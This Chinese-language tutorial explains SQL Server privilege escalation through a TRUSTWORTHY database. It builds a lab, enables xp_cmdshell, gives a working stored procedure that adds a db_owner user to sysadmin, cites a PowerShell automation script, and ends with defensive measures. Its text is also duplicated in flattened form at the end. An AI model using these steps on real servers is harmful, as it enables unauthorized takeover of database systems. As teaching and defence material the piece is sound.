利用mssql受信用数据库提权
字数 1000 2025-08-20 18:17:47

MSSQL受信用数据库提权技术详解

0x01 前提条件

要进行MSSQL受信用数据库提权,需要满足以下条件:

  1. 已获取一个SQL Server用户的凭据(用户名和密码)
  2. 该用户对某个数据库拥有db_owner权限
  3. 该数据库被设置为TRUSTWORTHY(受信用)

0x02 环境准备

1. 创建测试数据库

CREATE DATABASE MyTestdb01
SELECT suser_sname(owner_sid) FROM sys.databases WHERE name = 'MyTestdb01'

2. 创建测试用户

CREATE LOGIN MyAppUser01 WITH PASSWORD = 'MyPassword!';

此时用户默认为public角色

3. 分配db_owner权限

USE MyTestdb01
ALTER LOGIN [MyAppUser01] with default_database = [MyTestdb01];
CREATE USER [MyAppUser01] FROM LOGIN [MyAppUser01];
EXEC sp_addrolemember [db_owner], [MyAppUser01];

4. 验证用户权限

SELECT rp.name as database_role, mp.name as database_user
FROM sys.database_role_members drm
JOIN sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
JOIN sys.database_principals mp ON (drm.member_principal_id = mp.principal_id)

5. 设置数据库为受信用

ALTER DATABASE MyTestdb01 SET TRUSTWORTHY ON

6. 验证数据库信任状态

SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

结果中1表示受信用

7. 启用xp_cmdshell(可选)

EXEC sp_configure 'show advanced options',1
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
GO

0x03 提权过程

1. 确认当前权限

使用MyAppUser01用户登录后,检查当前权限:

SELECT IS_SRVROLEMEMBER('sysadmin')

2. 创建提权存储过程

USE MyTestdb01
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'MyAppUser01','sysadmin'
GO

关键点:

  • WITH EXECUTE AS OWNER:使存储过程以数据库所有者身份执行
  • sp_addsrvrolemember:将用户添加到服务器角色

3. 执行提权

USE MyTestdb01
EXEC sp_elevate_me

4. 验证提权结果

SELECT IS_SRVROLEMEMBER('sysadmin')

或查看用户属性确认已获得sysadmin权限

0x04 自动化工具

可使用PowerShell脚本自动化此过程:

Invoke-SqlServer-Escalate-Dbowner -SqlUser MyAppUser01 -SqlPass "MyPassword!" -SqlServerInstance WIN-80LVKKRM5UA

脚本地址:https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1

0x05 技术原理

  1. TRUSTWORTHY属性:当数据库设置为TRUSTWORTHY时,其所有者(通常是sysadmin)授予该数据库中的代码执行权限
  2. EXECUTE AS OWNER:允许存储过程以数据库所有者身份执行,而所有者通常是sysadmin
  3. 权限链:通过存储过程调用系统存储过程(sp_addsrvrolemember)时,会继承所有者权限

0x06 防御措施

  1. 限制db_owner权限的分配
  2. 避免设置TRUSTWORTHY ON,除非绝对必要
  3. 使用代码签名替代TRUSTWORTHY
  4. 定期审计数据库权限设置
  5. 监控可疑的权限变更操作

参考资源

  1. SQL Server Under Attack
  2. Privilege Escalation via Trustworthy Database
  3. Hacking SQL Server Stored Procedures
MSSQL受信用数据库提权技术详解 0x01 前提条件 要进行MSSQL受信用数据库提权,需要满足以下条件: 已获取一个SQL Server用户的凭据(用户名和密码) 该用户对某个数据库拥有 db_owner 权限 该数据库被设置为 TRUSTWORTHY (受信用) 0x02 环境准备 1. 创建测试数据库 2. 创建测试用户 此时用户默认为 public 角色 3. 分配db_ owner权限 4. 验证用户权限 5. 设置数据库为受信用 6. 验证数据库信任状态 结果中 1 表示受信用 7. 启用xp_ cmdshell(可选) 0x03 提权过程 1. 确认当前权限 使用MyAppUser01用户登录后,检查当前权限: 2. 创建提权存储过程 关键点: WITH EXECUTE AS OWNER :使存储过程以数据库所有者身份执行 sp_addsrvrolemember :将用户添加到服务器角色 3. 执行提权 4. 验证提权结果 或查看用户属性确认已获得 sysadmin 权限 0x04 自动化工具 可使用PowerShell脚本自动化此过程: 脚本地址:https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 0x05 技术原理 TRUSTWORTHY属性 :当数据库设置为TRUSTWORTHY时,其所有者(通常是sysadmin)授予该数据库中的代码执行权限 EXECUTE AS OWNER :允许存储过程以数据库所有者身份执行,而所有者通常是sysadmin 权限链 :通过存储过程调用系统存储过程(sp_ addsrvrolemember)时,会继承所有者权限 0x06 防御措施 限制db_ owner权限的分配 避免设置TRUSTWORTHY ON,除非绝对必要 使用代码签名替代TRUSTWORTHY 定期审计数据库权限设置 监控可疑的权限变更操作 参考资源 SQL Server Under Attack Privilege Escalation via Trustworthy Database Hacking SQL Server Stored Procedures